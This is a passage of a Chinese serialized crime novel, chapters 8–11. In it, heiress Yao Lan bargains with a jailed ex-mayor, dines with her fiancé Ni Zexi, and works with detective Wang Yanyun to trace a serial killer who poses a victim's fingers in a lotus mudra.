直到姚岚话落,她不紧不慢地站起身,又道:“我相信就算是在这里,你也有办法求证我的消息是不是真的。等我下次来,你再告诉我要不要合作,需要我保住谁的命——希望他们能坚持到那个时候。” “等等!”许立荣立刻叫道。 见姚岚转身看她,她快速站起身,上身贴向玻璃,透过听筒说:“我大女儿还在法国,不要让她回来!” 姚岚却没有丝毫表情变化,空旷的眼神没有半点波动,只余下一片漆黑。 “只要你能做到,他的秘密我有办法帮你拿到。但我需要时间,也需要证明你没有骗我!” 我有办法帮你拿到? 姚岚品了品许立荣的话,知道这件事绝不会太过顺利,其中也必然会有几个迂回的过程,但这已经是捷径了。 “等我消息。”姚岚无声地吐出四个字。 许立荣读到了,对上她的眼睛,同时心里也蹿出一股冲动:“我见过很多亡命之徒,是什么属性只要对一个眼神就知道。沾过人命的手,眼神会不一样,更像肉食动物,眼睛里全是欲望和杀戮。而真正冷血的人,既没有牵绊,也没有情感,更没有爱恨情仇。你这种眼神,我以前见过一次……我一辈子都忘不掉。” 许立荣有一瞬间的恍惚,也不知道是不是想到了她话里的那个人,随即点了点头,像是为了确认什么似的:“也许你真能帮我……我等你。” 直到她轻轻落下最后三个字,再度坐了下去。 姚岚也收回目光,一言不发地走出探监室。 探监室外,肖越等候已久。 见到姚岚便第一时间迎上来,先对守在门口的警卫点了下头,遂走在姚岚身侧,声音不高不低:“倪先生来了。” 9. Chapter 8 Chapter8 大门外,阳光洒满每一个角落,驱散了监狱里的阴霾与死气。 门口除了姚岚的车,还停着一辆银灰色商务车。见姚岚出来,车门从里面拉开,一个身着休闲便服的男人探下一条腿踩在地上,身体微微倾向她这边。 顺着他浅色的衬衫往上看去,是一张明朗的笑脸,浅麦色的皮肤,微弯的卧蚕衬着一双含笑的眼睛。 “你怎么过来了?”姚岚也漾出笑容,似乎对倪泽熙为何知晓她的行程安排并不好奇。 倪泽熙握住姚岚的手,一边送她上自己的车,一边笑着提醒:“我就知道你忘了,今天是星期三。” 姚岚明显一怔,敲了敲自己的头:“瞧我这记性。” 【从今天开始,每个月的最后一个星期三,你都是我的。最起码要陪我吃一顿饭。】 这是两人曾经定下的约定,但两人都忙,很多时候都未必在一个城市,一周一次的饭约实在不现实,后来就改成了每个月的最后一个星期三。 肖越不动声色地坐进副驾驶座,没有问姚岚是否要更改接下来的行程,只听后座的倪泽熙问:“饭还吃吗?” “当然,人总要吃饭的。”姚岚笑道,“哪家餐厅?” “菜都备好了,回家做。”倪泽熙说。 姚岚有丝意外:“最近不忙吗?” “上个项目已经搞定了,我给自己放了三天假。”倪泽熙姿态松弛,正如他这身装束,无论是什么姿势,这身软料都不会变形褶皱。 “可我……”姚岚沉吟了两秒,像是快速过了一遍这几天的安排——全满。 “你忙你的,不用管我。”倪泽熙没有让她为难,“忙完了就给我电话,我来找你。” 姚岚只笑着点了下头,将右手放进倪泽熙向上摊开的手掌中。 他五指收拢,一边摩挲着她的指肚和光泽温润的浅色指甲,问:“怎么突然想起去监狱了?” “哦,有个事情想跟前市长讨教。虽然我这几年频繁麦城,但到底根基不深,哪怕有你在,也还是会被欺生,多向前辈取取经一下总是没错的。” 倪泽熙接道:“可她现在是泥菩萨过江,能给的也是过期经验,意义不大。” “除非那些她曾结交的人脉,全都性情大变,否则那些经验依然适用。” 倪泽熙没接话,像是被说服了。 姚岚扫过他的侧脸,并不打算提之前在园区发生的“小插曲”,只问:“家里都好吗?” 倪泽熙说:“有阵子没回去了,应该都好。” 随即他又看过来,将姚岚的手握得更紧:“你呢?” “老样子,明枪暗箭、见招拆招。” 倪泽熙扬了扬眉:“我听说之前你大哥受了点惊吓,现在还在国外休养?” “他这人一向学不会低调,有点风吹草动恨不得告诉全世界。”姚岚接道,“其实也不是什么大事儿,前几年不是经历过一次意外吗,后来就杯弓蛇影的,看谁都像鬼。正好前段时间又出了一件事,给他吓着了……你也知道,他那一肚子的肾,经不起折腾。” “肾主志,的确。”倪泽熙话锋一转,“没为难你吧?” 姚岚轻笑:“怎么可能不为难,不过我都习惯了。” 倪泽熙叹了一声:“按理说你应该是最希望他健康长寿的,这样你的麻烦也会少一些,会更有时间处理这边的事儿。” “要是那个人就心存偏见,不跟你讲道理呢?说穿了,谁手里的权力多,谁的道理就硬。” 倪泽熙轻呼一口气,垂着眼眸并不接话。 姚岚又将话题抛回去:“别光说我了,你弟弟呢?” 倪泽熙说:“哦,之前说想再去进修了一个哲学学位。” “哲学。”姚岚说,“艺术品不做了?” “那边也没放下,只说是因为艺术对哲学也产生了好奇心。” “哦。” 倪泽熙扬起笑容:“我记得十几岁那会儿咱们认识,你就说过将来要开连锁画廊,要做亚洲最大的艺术品拍卖行,因为只有艺术才能走到人的心里,探究人性最深层的挣扎,释放最深沉的欲望。而金钱永远是隔靴搔痒。” “那时候还小,不懂事,想法也天真。”姚岚说。 “可我记得你家里一直都是支持的……” 倪泽熙的话只说了一半,后半句即便不说姚岚也知道是什么意思。 孩子的梦想往往受到家庭的潜意识影响,如果不是家里有意培养和支持,十几岁的她根本说不出来那么具体的“抱负”。 有人说“我喜欢画画”,却说不出来要走什么样的路,才能有效地将这份“喜欢”一直延续下去。 如果兴趣爱好成为了负担、累赘,缺乏规划,那么最终就会变成“曾经喜欢过”,进而成为一种遗憾。 事实上姚岚的求学经历直到大学以前都是哲学和艺术向,即便发生变动,即便通过这两个跳板对其他领域产生兴趣,最多也就是跳到心理学层面,而非现在的经商,甚至是直接介入家族生意,掌握一定的话语权。 显然在最初的配置中,姚岚的分工并不是家族接班人、托举者。如果是,就该从小培养,绝不会生出对艺术产生兴趣的可能性。 那时候姚岚的玩伴也都是其他家族里的同样角色,而他们现在有的在做珠宝品牌,有的做艺术品收藏,还有的作为备选人培养,就像是比赛场外休息区的候补——也许永远没有上场的机会,却时刻都要做好准备。 唯独是姚岚的成长路,在其中的关键节点上出了岔子。 至于是什么岔子,连倪泽熙都不知道。 “对了,有个事忘记和你说了……”姚岚十分自然地切换话题,笑容没有丝毫破绽。 “什么?”倪泽熙刚开口,不想就在这时,车子猛然 刹停。 两人的身体同时向前倾了一瞬,两只手握得更紧,随即不约而同地朝前面看去。 司机先一步下车,副驾驶座的肖越也解开了安全带,一手伸向外套内侧,眼神扫向车头。 有个人摔倒在车前,也不知道有没有被轱辘碾到。幸好这是在市区,车子刚过一个拐角,车速不算快,即便被撞到也不至于飞出去。 只见司机站在车前,正在和伤者对话,还要伸手去扶,可对方的注意力似乎在别处,好一会儿都没起身。 接着就看到司机也蹲下去,坐在后座的姚岚与倪泽熙,碍于视野什么都瞧不见。 直到倪泽熙松了手,说:“我下去看看。” 见倪泽熙下了车,副驾驶座的肖越才开口:“是个女人,文件撒了一地。” “是故意的,还是真没看路?” 肖越说:“过马路的时候她正用蓝牙耳机讲电话,眼睛没看路,手里翻着文件,好像很赶时间。” 姚岚没接话,透过车窗看向前方,正好看到倪泽熙站在车头,目光就落在女人身上,像是正在关心她有没有受伤,需不需要赔偿。 女人一手扶着车头,另一手抱着文件,终于站起身,却躲过了倪泽熙想要搀扶的手——她微低着头,好像正在为自己的冒失道歉。 从头到尾,女人都没有抬头直视倪泽熙,脸色有点发白,看上去很慌张,说话间还看向车身,又左右看了看马路,生怕遗漏了什么。 倪泽熙又问了几句,随即侧身凑开两步,朝车轱辘扫去,接着看向司机,又说了一句什么。 司机立刻回到驾驶座,不等姚岚问就重新发动车子,向后倒退了几米。 倪泽熙就在这个时候弯下腰,从地上捡起两张文件纸。 上面清晰地印着轱辘印,他笑着用手弹了弹那些污渍。 女人见了连忙拿过来,并频频对他点头,嘴里不停地感谢。 直到女人转身小跑离开,倪泽熙才回到车上。 刚坐稳,他便说道:“是我公司的员工。她拿的副本是我上礼拜才批过的,不过她没认出我。” “这么巧。”姚岚笑了笑,“看来工作压力很大啊,过马路都心不在焉。” “你觉得不是巧合?”倪泽熙问。 “我觉得不重要,关键是你怎么看。” “嗯。”倪泽熙神色很淡,只扫向驾驶座,“今天的行程还有谁知道?” “去接姚小姐是临时决定的,应该没人知道。”司机像是突然想起什么,“哦,出来前刘副总来过,问倪总是回公司还是回家。” 倪泽熙依然在笑,笑容却浅了几分,微抬着下巴,眼皮落下半扇,自里面溢出一点凉意。 “美人计。”片刻后,倪泽熙吐出几个字评价,“真是一点长进都没有。” “计策不在老,好用就行。”姚岚声音很轻,“看来你有的要忙了。” 10. Chapter 9 Chapter9 倪泽熙的住处是开放式的西式别墅,放眼望去开阔的庭院、漾着水波的游泳池、随风飘舞的纱幔,以及四处忙碌的菲佣。 姚岚沿着游泳池边从主屋走向餐厅,倪泽熙原本慢她一步,不一会儿就有人从后面追上来,将一份东西交到他手里。 倪泽熙便在泳池边站定,目光透过墨镜落在那张纸上。 阳光自头顶洒下,水面映着波光,一阵阵微风徐徐,将他的外袍衣角掀起。 姚岚只向后看了一眼,便继续往前走。 虽然没看到是什么内容,却刚好瞥见一张三寸大小的照片,显然是一份人事档案。 而“付芳菲”三个字和照片里挂着拘谨笑容的脸,也在这一刻收入倪泽熙眼底。 他快速掠过下面的文字,不过寥寥数行就将这个女人的工作经历总结干净,可以说除了年龄和长相没有任何优势,起码倪泽熙看不到。 可既然没有其他价值,为什么刘副总还派她来? 自从他正式接管公司,像这样的偶遇没有一百次也有八十次。该不会是想用人海战术吧——博个概率,万一成了呢? …… 一阵阵饭香涌入餐厅。 坐在沙发区的姚岚,时不时将目光收回,看向开放式厨房里的挺拔背影。 倪泽熙半眯着眼,一手颠勺一手翻炒。 火苗向上蹿着,越过锅缘,和上下跳跃的美食一起飞舞。 直到最后一道菜端上桌,倪泽熙擦了手,将醒好的酒倒出来,这才瞥了眼电视问:“园区出事了?” 电视里正在播放案发现场的新闻报道,镜头刚好带向女死者,还在脸上打了马赛克。 姚岚走向餐桌:“看死者的长相和装束,像是本地人,死因暂时不知道。” 倪泽熙收回目光,只微微蹙眉,好一会儿都不说话。 姚岚吃了两口饭菜,问:“怎么了?” “有个事儿我心里没底……”倪泽熙先是笑,“还不知道该怎么说。” 姚岚歪了下头,直觉告诉她,倪泽熙的转变并不是因为刚才那则新闻:“你这种表情,是因为泽晟?” “我之前不是说他想学哲学吗?”倪泽熙神色缓和,“其实没有表面那么简单,不过当着其他人的面我不方便说。” “怎么?” “前几天我去了一趟他的工作室,他不在。原来那个地方都是一些画和雕塑,没什么特别。但这次去,整个感觉都变了。” 倪泽熙喝了口水,又道:“整个环境都很暗,原来的窗户堵死了一大半,还多了一间暗室,里面是还在冲洗的照片。我翻看了几张,全是血腥暴力的案发现场……” 安静了几秒,姚岚轻声问:“你该不是怀疑泽晟杀了人吧?” “不。”倪泽熙摇头,“其中有几张照片我有印象,那根本不是现在的案子,也不是在麦城。留学的时候,我在一个犯罪行为学的课上就看到过那几张的幻灯片,应该是泽晟从网上下载以后冲洗出来的。除了这些,他还买了很多犯罪相关的和犯罪现场分析的专业书……” 听到这里,姚岚忍不住问:“你是想说,泽晟开始对这种血腥暴力的东西感兴趣?可他为什么说要进修哲学?” “也许是为了让我放心。”倪泽熙说,“我去完他的工作室,第二天他就打电话告诉我。” “工作室有监控?” “嗯,安保系统是咱们一个老同学做的。” “也就是说,他没有跟你解释为什么会兴趣大变,而是用另一件事来让你释怀,你却更担心了。” “是啊,如果他解释或是什么都不说,我反而不会当回事。”倪泽熙道,“我也找人查过他这段时间的人际关系,也没有什么特别,都是认识很多年的熟人。” “所以你想让我跟他谈谈。” 倪泽熙叹了一声,似乎有些挫败:“我记得你们以前有很多话题可聊,特别是艺术这块。虽然我是他哥,可我感觉他更听你的。” “好。”姚岚没有丝毫犹豫,“找个时间我约他。” 倪泽熙松了口气:“多亏有你。” “小事儿。等我们聊完了再告诉你我的判断,如果只是虚惊一场,你要记得跟他示好。泽晟给我的感觉么,对人对事都高度敏感,灵性很强,但也很容易受伤。” “我知道。” 两人的对话刚准备告一段落,就被电视里突然响起的音乐声切断。 姚岚侧头看过去,园区的凶杀案新闻早已结束,不知道什么时候切到另一个针对近日“变态杀人狂”的专题报道。 主播在一旁神色凝重地进行案情陈述,旁边还端坐着犯罪心理专家,而左边的屏幕上正挂着一副凶手画像。 是的,只有画像,连张照片都没有。 凶手至今未被抓捕,就连画像都只是露出一双眼睛,下面半张脸全都被口罩遮住。 而画像的提供者,正是目前唯一一个侥幸从他手中逃脱的生还者,却也因为遭受重伤而成终身残废。 【真正冷血的人,既没有牵绊,也没有情感,更没有爱恨情仇。】 姚岚的目光始终盯着画像中那双眼睛,耳朵里听着播音腔,脑海中回荡的却是许立荣的话。 也不知道为什么,那双眼睛似乎透过画纸、透过屏幕,正精准地锁定她。 “岚岚?姚岚?” 有人在叫她的名字,越来越近。 姚岚轻轻眨了下眼,下一秒,就感觉到手背上轻轻落下一抹温度,有点痒,还带着细微的扎刺感。 她倏地醒过神,转头的瞬间,鼻尖刚好划过一片麻质布料,鼻腔里也流入一股独属于倪泽熙的淡冷香气。 眼皮上抬,对上的是那双关切的目光,瞳仁里倒影着她的剪影。 姚岚“哦”了一声,若无其事地笑:“我走神了,刚说到哪里了?” 倪泽熙也笑了,抬手探向她的额头,温热的掌心却贴上一片微凉的皮肤。 “我看你脸色不对,叫你也听不到。怎么这么凉?是不是冷气开得太足了?” “是有点冷,吃完饭我想出去晒会儿太阳。” “我陪你。” 倪泽熙拿起旁边的遥控器,将电视关上,黑掉的屏幕中映出两人的身影。 姚岚眨了下眼,目光落在电视柜上那个不起眼且有些老旧的跑车模型上,问:“你说到底是什么样的人,才会以杀人取乐呢?他心里究竟是怎么想的?” “不管怎么想,也不过就是个人,又不是怪物。”倪泽熙说着走回座位,笑道,“无非就是一双眼睛一双手,要吃饭要睡觉,有指纹有DNA,不会隐身也不会飞天遁地,早晚都会被抓住。” …… 数分钟后,园区外的树林里,一道身着灰色T恤和浅色牛仔裤的身影,正不紧不慢地踩过脚下的草丛和树叶。 王严云每走几步就停下来朝四处看看,直到发现痕迹才继续前进。 不知走了多久,他终于停下来,蹲下身,用戴着胶皮手套的手捡起一片树叶——上面的血迹已经干涸了。 他从腰包里掏出一个小塑料袋,将树叶装进袋子,遂站起身。 除了血迹,地上还有一些脚印,有的印在叶子上,有的则陷入泥土中。 王严云拍了几张照片便走出林子,一直来到马路边,先在马路牙子上磕了磕鞋底的泥,这才走向停在对面的越野车。 没想到刚到跟前,就从车子另一侧走出来一个女人。 王严云只看了她一眼就拉开驾驶座的门。 女人也不客气,直接坐上副驾驶座,边系安全带边问:“有收获?” 王严云将腰包解下来扔给她。 她接过来,从里面拿出塑料袋 ,随手放进自己的皮包里,又问:“照片呢?” “晚点传你。” 王严云将车驶上大路,女人也撑起自拍杆,拨了个视频电话。 手机屏幕照出两人的脸,一个专心开车,一个盯着屏幕,直到电话另一头出现姚岚的脸。 “怎么样?”此时的姚岚就靠在泳池边的躺椅上。 王严云盯着路面,说:“我估计运尸的人身高在175公分以上,力气很大。就脚印来判断,他中途没怎么歇过,几乎是一口气将尸体运到现场。” 几乎一口气? 从外面将尸体运到园区里,势必要经过大门,难道当时大门敞开着,而且没有任何阻拦? “那这人就是凶手吗?” “不一定,不过可能性很高。” 姚岚又将目光转向一旁的女人,只听她说:“死者叫袁青,学生,案发前和男朋友刚分手,又和家里大吵了一架,跑出来以后就一直没和家人联系。” 听到这里,镜头里姚岚的脸转向一边,也不知道在想什么。 直到副驾驶座上的女人开口:“姚小姐,我能不能问你一个问题?为什么你会断定这个案子和之前的变态凶手有关?” 至于是“哪个人”,姚岚和车里两人都不知道他的身份,甚至连长相也不清晰。就连警方也只是掌握了那张只露出一双眼睛的画像而已。 车内两人等了片刻,见姚岚迟迟不回答,王严云来了一句:“不会是直觉吧?” 姚岚不置可否地笑了:“除了这件事,再帮我查一个人——倪泽晟。” 王严云扫过来:“你未婚夫的弟弟,为什么?” “姚小姐怀疑他是凶手?”女人跟着问。 “这是两件事,只不过我同样好奇。”姚岚看向女人,“许垚,就你的新闻触觉,袁青的遇害有没有深挖的必要?” “可以试试。”许垚回道。 姚岚又笑着看向王严云,他瞬间读懂暗示:“行了,警局那边交给我。” …… 回到市区,许垚在半道下了车,王严云的车一路驶向侦查局分局。 这里不比大陆的办公环境,最外面的两个部门闹闹哄哄的,警员们有的在说笑,有的正在给报案人做记录。 王严云快步上了二楼,又穿过两道走廊,回到小组办公室。 一屁股坐进位子,办公椅也相应地发出“吱呀”一声。 王严云仰着头呼了口气,又端起旁边的杯子,将前一天剩下的咖啡倒进嘴里,停顿一秒,又朝旁边“呸”了一声,吐出沉在嘴里的渣子。 他正准备再续一杯,正巧鉴识科的同事从门口进来,见到他便将手里的档案递过来:“王哥,你的。” “谢了。”王严云接过,又端着空杯子回到位子上,翻开档案看了几眼。 照片里袁青死状安详,但表皮颜色更偏白。 根据表面的鉴定结果显示,她的后脑曾遭受重击,死因则是流血过多。 法医还在尸体上,分别找到三处被人放血的破口。 这个案子的难度在于,园区监控关闭,现场痕迹杂乱,最少能找到七、八个人留下的痕迹,而他们都是今天到过园区的工作人员和媒体。 至于这里面是否夹杂了其他陌生人的痕迹,还要等进一步比对鉴定。 如果没有夹杂,难道说今天到过现场人之中就没有凶手吗?不,有一种可能是,凶手就藏在中间,就借着参观或工作的名义堂而皇之地回到现场,欣赏自己的作品。 可以肯定的是,故意将尸体放血,还运到园区里摆成那样,凶手心里肯定不正常。 “起码‘变态’这一点,她的判断是对的。”王严云喃喃自语。 就在这时,小组办公室又走进来一个人:“王哥!” 王严云掀起眼皮,就听来人兴奋道:“抓到嫌疑人了!” 11. Chapter 10 Chapter10 听说这个“嫌疑人”就是女死者袁青的男朋友? 王严云跟着组员来到审讯室隔壁间,透过单向玻璃只扫了一眼,就双手环胸地退到一边,安静观望。 对面正在为自己辩解的男人,不禁大声叫道:“不是我,真的不是我!” 他不只是脸涨得通红,连脖子上都泛起青筋,因为太过激动,口抹都从嘴里喷了出来。 王严云打量着对方偏瘦的身材,以及有些皱巴衣裤,最后将目光落在那双鞋子上——非常干净,但不是新鞋,而是一直保持着擦鞋的习惯。 又听了一会儿审讯过程,王严云摇了下头,走出隔壁间。 组员跟出来:“怎么样,这次够迅速吧?估计上面知道了,都会吓一跳!” “他不是凶手。”王严云双手插袋,打了个哈欠,边走边说。 “不是吧?”组员解释道,“我们找到他的时候,他就在网吧,说自己刷了一夜,但根据记录,他是天亮以后才去的。他昨晚也没回过家,支支吾吾也不肯说到底去干嘛……” 王严云轻笑一声,正要回答,手机却进来一条消息,只有两个字:“出来。” 王严云叹了口气,只朝组员摆了下手就往外走,边走边拨通电话:“干什么?” “去现场。” “不去。我刚从那里回来,过车瘾呢?” 电话里的人慢条斯理道:“许立荣是你带队去抓捕的,如果不是你及时赶到,她已经偷渡跑了。可这件事的功劳却被你的上级抢走,难道你不希望拿回来吗?” “拿回来做什么,给我升职加薪。呵,我又不差钱,也不想出那个风头。” “是啊,你的上级在电视里到处演讲,如果换成是你,再被有心人盯上,也许过不了多久,你就能回去跟许应达作伴儿了。” “……” 话音落下,王严云已经走出侦查局大门,正脸色不善地瞪着停在路边的车,以及坐在副驾驶座上微笑示意的女人。 姚岚将贴在耳侧的手机放下来,摆了摆手:“你开车。” 王严云吐了口浊气,上车边发动引擎边说:“你知不知道,有些威胁说一次两次还管用,说多了就没意思了。” “不管说一百次还是一千次,有效就行了。”姚岚轻笑,“等什么时候你的经济罪在国内都抵消了,我到时候再换也不晚。” 王严云没好气道:“你不是应该在倪泽熙那里吗?不要告诉我,你是约会约到一半突然觉得没意思,才想到去案发现场找乐子。” 姚岚却没回答,只一手撑着头看着窗外街景。 王严云知道她的风格,无聊问题不答,买礼貌的问题不答,不想回答的也不答,于是他又换了个问题:“为什么你会认为杀害袁青的凶手,和之前的变态杀人魔有关?” 姚岚不太认真地回:“你之前不是替我回答过了吗——直觉。” “鬼才信。”王严云吐槽了一句,又问,“那这个事儿和你有什么关系?” “他是演员,我是观众。他的目标是我,每一场戏都是为了博我的关注。我不理他,他就会继续杀人。” “太自恋了。”王严云觉得好笑,“我承认,这几个案子都是姚氏企业的地界上发生的,但还有一种可能,它就是巧合。这么巧你们家在这里开疆拓土,又那么巧他和你有一样的眼光。只不过你是看中投资价值,而他看中的则是作为案发现场的可行性。再说,以你现在的地位,根本犯不上亲自沾手,肖越、许垚不都是得力干将吗?难道你根本不信任他们,还是说你不相信任何人?” 王严云自问自答地说了一大段,话落他朝旁边扫过去一眼,姚岚却连个眼神都没给,只一手捂着嘴打哈欠,另一手随意扇了扇,像是正在挥赶聒噪的耳旁风。 王严云也不在意,仿佛在跟空气说话一样:“不是我说,这瞎溜达的毛病你得改改,也难怪你爸和你大哥一直咬着你不放,真是有九条命都不够死。” “乌鸦嘴。”姚岚只拨了下头发,吐出三个字。 …… 转眼,两人已经来到园区外的小树林里。 虽然外面拉着警戒线,却形同虚设,连个负责看守的守卫都没有。 姚岚在车上就戴好鞋套手套,下了车就跟着王严云一路走进树林,两人刻意避开凶手留下的那串脚印。 王严云走在前面,说:“刚抓了一个嫌疑人,是袁青的男朋友,还是个业余摄影师。不过肯定是抓错了,我估计很快就会放出来。” “怎么讲?”姚岚问。 “他的鞋很干净。你看条小路上全是泥,不可能一点都没沾到——除非能证明他戴了鞋套,可看这鞋印又不像。还有,他的手臂一点肌肉都没有,而凶手能扛着尸体走几百米,这可不是一般的体力。” “在哪里抓的人?” “网吧,他说自己在那儿刷夜,实际上是早上才去,昨天晚上干了什么交待得不清楚,只知道他一宿没回家。也难怪怀疑他。” “搬运尸体可不轻松,忙了一宿的粗活儿,还有精力上网,不是应该找个地方睡一觉吗?” “还在他身上提取到女人的头发,只是还没做DNA,不好判断是不是死者的。哦,对了……” 王严云边说边点开手机,翻出照片发给姚岚:“这是袁青男友的脸书截图,他曾经说想杀了女朋友,再将她摆成这个姿势。” 姚岚点开一看,果然,除了几行看上去心理阴暗的文字臆想之外,还配了一张照片。 照片里的女人虽不是袁青,姿势却和袁青被发现时一样:头发拢在一侧,垂在身前,一袭连身裙柔顺服帖,双手就垂落在身体两侧。 不,不一样。 或者说,是不完全一样。 姚岚抬眼:“手势不一致。” 手势? 王严云将照片放大,又仔细看了看,刚想说点什么,姚岚已经迈开步子,朝小路尽头走去。 王严云箭步跟上:“尸体从车道上运过来,凶手肯定是开了车。从这条道进园区的偏门,最近也最隐蔽。他很熟悉这附近的地形,指不定原来就是园区里的人。” “如果是,他运气倒是不错。”姚岚接道,“麦城军方的行动提前没漏过一点风,封锁园区那天他居然躲过了。” “呵,这世上哪有不透风的墙。” “如果能提前收到风,那绝不是一般人。” “杀了这么多人,手段又这么凶残,本来也不是一般人。” 听到这话,姚岚站住脚。 王严云又落下一句:“其实你早就猜到他的身份了?” “我不确定,只知道这个人非富即贵,有背景,也有帮手。”姚岚神色很淡,“我代表姚氏收购的每一块地方都没有对外开放,有的上过新闻,有的根本没公布过。可他不仅能精准找到,还因为各种各样的原因躲过监控,连具体痕迹都捕捉不到。哪怕漏了一个幸存者,也只是看到他的眼睛。” 王严云敛了眉眼,斜靠着树干问:“你们观光园区的路线规划,都有谁知道?” 能提前将尸体放在上车点,绝不可能是巧合,而且那个位置距离偏门最近。显然是凶手提前就找好一条最近的路。 “很多人都知道。”姚岚说,“收购园区之后这里就一直对外开放,还和国内的旅行社签了观光协议,仅这个月就接待了十几波旅行团。路线都是一样的,没有刻意为我更改。” “就是说只要他随便跟个团进来走一圈,就能模拟出你今天的行程?” “差不多。” “可万一你要是不来呢?万一你突发奇想,临时换了条路呢?” “不可能。” “为什么?” “这里我一直都想回来看看。” 王严云明显一愣,眼神中晃过一丝愕然:“你该不是告诉我,那个凶手也知道你小时候的遭遇吧?” 停顿两秒,他又像是意识到什么似的:“等等,等等……不会吧?” 王严云缓了一会儿,像是被灵光劈中一般,眼神古怪地盯着姚岚:“你先 回答我,你的‘直觉’还告诉你什么?” “算上这次,就我知道的他已经杀了五个人,而且离我越来越近。” 话虽这样说,姚岚看上去却异常平静:“前面四个现场,我并没有直接接触,身边总有人拦着,我只需要等其他人看完了再回来汇报。所以这一次,他改变了手法,也不再满足于只是‘擦肩而过’——他想看我的第一反应,也是借这个机会告诉我,他随时都能靠近我。” “我去。”王严云努了努嘴,本想说一句“你会不会想太多了”,却怎么都说不出口。 半晌过去,王严云才问:“不会又是那爷俩吧?从哪儿找的变态,本事还挺大。” “不像。”姚岚摇头低语,“这么迂回,不是他们的风格。” “怎么说呢,之前那几次都是明枪,还好说。这回玩得这么阴……说句不吉利的,你晚上可得睁一只眼睡觉。” 姚岚只扫了他一眼,又往前走了几步,将话题拉回现场:“除了脚印和血迹,还发现什么?” 王严云回道:“哦,就在前面快到门口的草丛里,鉴识科找到一个用过的502——就是这里。” 两人来到草丛前,当然,这里除了残缺不全的杂草和被挖去一块的泥土,已经什么都没有了。 王严云从手机里翻出照片,示意姚岚。 照片里不仅拍到整块草丛,其中还有一个捏扁的502软管,盖子不翼而飞,从开口溢出来一滩白色的胶水,沾着杂草叶,还盖住了一小块土。 “他用胶水做什么?” “往后翻。” 姚岚在手机上划了几下,目光很快定格在一张照片上。 那是女死者袁青的手部特写,大拇指和无名指紧紧粘在一起,中间还有一些干涸的白色物质。 “这一点我还没想明白,将两根手指黏在一起到底想说明什么?”王严云自言自语道。 不想下一秒,就听到姚岚轻而笃定的回答:“是莲花指。” “什……”王严云嗤笑,“难道凶手信佛?信佛还杀生。” “两者又不冲突,有很多犯过杀生罪人都信佛。一个人有可能天天拜佛诵经,同时杀人,这两者因果会同时存在。” “要是往宗教信仰上聊,我可就迷糊了,总觉得哪里不太对……” 王严云沉吟了几句,却见姚岚越过他往大门里走。 直到两人一前一后来到发现尸体的水渠边,姚岚停下来,盯着水沟里的痕迹问:“你们有没有查过袁青的信仰?” 王严云先是顿住,遂快速用手机发了条信息。 不过片刻,就有人回:“刚问过袁青家人,他们全家原来都是佛教徒。” “原来?” “是,三个月前就突然不信了,说是因为被本地一个‘活佛’骗了不少钱。” 就在这个时候,姚岚的手机震动起来。 她扫了一眼来电显示,接起来问:“喂,怎么了?” 倪泽熙的带笑的声音传来:“只是提醒你别睡过头,该起了。对了,我看你睡得香,刚好接到电话,要回公司一趟。” “还是闲不下来啊。”姚岚扫向王严云举向他的手机,刚好看到上面的回复,嘴里说道,“我也准备去忙了,晚点联系。” “好,这几天太热了,多喝水,注意休息。” “你也是。” …… 另一边,电话刚切断,倪泽熙便换上另一副神情,眉目冷淡,眼中不见一丝温度。 一行人步子未停,径直走进电梯,一路上了十三楼。 刚走出电梯门,就听到业务部里传来的欢呼声,像是正在庆祝什么,甚至还有开香槟的声音。 倪泽熙在门口停下,望着相隔十几步远的业务骨干们,他身后的助手、秘书就像是左右门神,同样的面无表情,谁都没有出声。 “这次干得漂亮,每个人都有红包!”刘副总被人群簇拥着,一手搂着一个身着职业装的年轻女人,另一手端着香槟杯,“诸位辛苦了,我先干为敬!” 12. Chapter 11 Chapter11 一群人沉浸在胜利的喜悦中,飘得忘乎所以。 大约过了半分多钟,才有人感觉到后背凉凉的,下意识回头看了一眼,差点吓走半条命。 他又连忙推了推旁边的同事,就这样一个拽一个,直到消息传递到刘副总耳边。 “倪总来了……” 刘副总的表情有一瞬间的不悦,挑衅的眼神在转身时却又切换成笑意:“呦,小熙啊,什么时候来的?快,再拿个杯子,给倪总倒上!” 刘副总脚下不稳地走向倪泽熙,倪泽熙原本冰封的面容也裂开了一道缝隙,像是有阳光溢出,笑容出现得恰到好处。 眼瞅着刘副总就要摔倒了,倪泽熙半步上前,一手稳稳托住他,另一手接过香槟杯,转手递给秘书。 刘副总正要说什么,握着他胳膊的那只手却用力一掐。 “喝这么多,老人味都要溢出来了,真令人恶心。” 这道声音极轻,伴随着说话人的气息自耳边拂过。 刘副总摇晃的身躯先是一顿,迷离的眼睛瞬间张开,缓慢转过头,对上那抹温润的笑容和深不见底的眼眸。 “你……” 倪泽熙轻眨了一下眼,直起身,对业务部员工说:“先送刘叔去休息室。” “是、是!” 刘副总被两人搀扶走的时候脚下还在打晃,又侧头朝后面看一眼,只听到倪泽熙这样说:“这次的项目多亏各位,辛苦了。分红一定不会让大家失望。” 众人忙不迭地附和:“不辛苦,应该的……” 业务部经理亦步亦趋地送倪泽熙到电梯前,不停地轻着嗓子、说着废话,事实上只是为了试探倪泽熙的态度。 倪泽熙面朝着电梯门,声音浅淡:“我记得你原来是刘副总的下属。” “额,是在他手下干过几年……”业务部经理擦了擦额头的汗,已经因此已经想到最坏的结果。 谁不知道刘副总对倪泽熙坐上这个位子颇有意见,明里暗里从不遮掩,好像生怕别人不知道一样。 乍一看,还以为是刘副总心无城府,实则是过于狂妄,仗着自己功劳大,又是长辈,时常不给倪泽熙面子。 业务部经理小心翼翼望着倪泽熙的侧脸,可他始终低垂眉眼,神色难辨。 “叮”的一声,电梯来了。 倪泽熙抬脚的同时,只撂下这三个字:“好好干。” 一个小时后,就在十六楼休闲区的雪茄房里,临时召开了一个高层会议。 形式上并不算正式,但今天在公司的所有股东都来了,唯独少了刘副总。 其中一个身材微胖的高层率先开口:“听说许应达在被抓之前藏起来一份东西,你们有谁知道是什么?” “这得问他自己啊。不过这东西分量肯定不轻,好像到现在都没吐口。” “反正外面有好几个人都在找这个东西,可他大哥、大嫂已经死了,你们说这事儿还能有谁知道?” “不好说,依我看最好不要好奇。他大哥、大嫂死得也太巧了,警方却说是意外,你们谁信?” 几位“大佬”闲聊了片刻,也没聊出所以然,又不约而同地看向好一会儿不曾言语的倪泽熙。 倪泽熙没有点雪茄,手里只端着半杯酒。 雪茄房里烟雾弥漫,他就坐在中间,袅袅烟雾将他包裹其中,连五官棱角也被修饰得柔和了,却也多了几分疏离。 感受到众人的目光,倪泽熙这才抬眼,似笑非笑地问:“我只听说,刘副总和许应达有些私交,也不知道这消息来源可不可靠?” 